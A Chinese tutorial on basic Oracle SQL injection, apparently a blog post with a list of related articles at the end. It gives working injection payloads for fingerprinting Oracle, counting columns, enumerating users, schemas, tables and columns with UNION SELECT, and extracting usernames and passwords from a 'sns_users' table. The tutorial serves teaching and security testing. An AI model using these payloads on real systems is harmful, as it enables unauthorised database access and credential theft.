WEB攻防- Oracle基本注入

前置知识

复制代码
1.dual表
此表是Oracle数据库中的一个自带表,为满足查询条件而产生。与MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,但是如查询日期是没有表的,就可以使用dual这个表,如下:select sysdate from dual,

2.基本用法
select user from dual 查询当前用户
select * from all_tables 查询出所有的表
select * from user_tables 查询出当前用户的表
select * from all_tab_columns 查询出所有的字段
select * from user_tab_columns  查询出当前用户的字段
select * from v$version 查版本
select privilege from session_privs查询当前用户权限
select utl_inaddr.get_host_address from dual查询内网IP

3.rownum=1   (限制查询返回的总行数为一条)
对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。 
我们可以用rownum<3来要求他输出2条数据。
它是不支持用>号的,只能是=1或者<n。

案例

1、判断是否存在

and 1=1 返回正常

and 1=2 返回错误

4.判断是否位oracle

可以通过dual来判断,and exists(select * from dual)

通过版本号判断,and (select count(*) from v$version) > 0

通过特有的函数判断,and bitand(1,1)=1

返回正常说明是oracle

5.判断列数 order by 2

6.联合查询

union select null,null from dual 此处判断整型

union select 'null','null' from dual 换为字符串型

获取连接数据库的当前用户

(select SYS_CONTEXT('USERENV','CURRENT_USER')from dual)

获取数据库

(select instance_name from v$instance) 获取当前数据库

(select owner from all_tables where rownum=1)获取第一个数据库

(select owner from all_tables where rownum=1 and owner<>'SYS')获取第二个数据库

<>表示不等于

获取表名

(select table_name from user_tables where rownum=1 and table_name like '%users%') from dual

获取列名

(select column_name from user_tab_columns where table_name='sns_users' and rownum=1)

获取第二列名

(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name<>'USER_NAME')

获取字段内容

id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"

union select USER_NAME,USER_PWD from "sns_users" where USER_NAME<>'hu' 获取第二个用户信息

相关推荐
Davina_yu3 分钟前
1、count(*)、count(1) 和 count(单个字段) 的区别
数据库
锦衣夜行?3 分钟前
Oracle 数据库安装失败清理残留步骤
数据库·oracle
时间售卖铺17 分钟前
MySQL 表的约束
运维·数据库·mysql·云原生
一条泥憨鱼22 分钟前
【Redis | 黑马点评】基于Redis的消息队列 | stream消息队列 源码解读
java·数据库·redis·缓存·lua
CodeGL22 分钟前
9、Python基础之IO编程
开发语言·数据库·python
每天一道题24 分钟前
Redis 缓存为什么会出问题?穿透、击穿、雪崩与缓存一致性
数据库·redis·缓存
tongyiixiaohuang1 小时前
物料成本核算单同步返回信息策略实战教程:从金蝶云星空回写 MySQL 的闭环设计
数据库·mysql
星云低代码开发平台1 小时前
AI 工作台记录删除与业务审计留存:三层数据边界设计
数据库·人工智能·架构
code_slave(码畜)1 小时前
微服务架构落地:分库分表实战(下) —— 分布式主键、跨分片查询与分页聚合防坑
数据库·spring boot·分布式·spring cloud·微服务·架构·分库分表
dishugj2 小时前
https://blog.csdn.net/dishugj/article/details/162068579
数据库·系统架构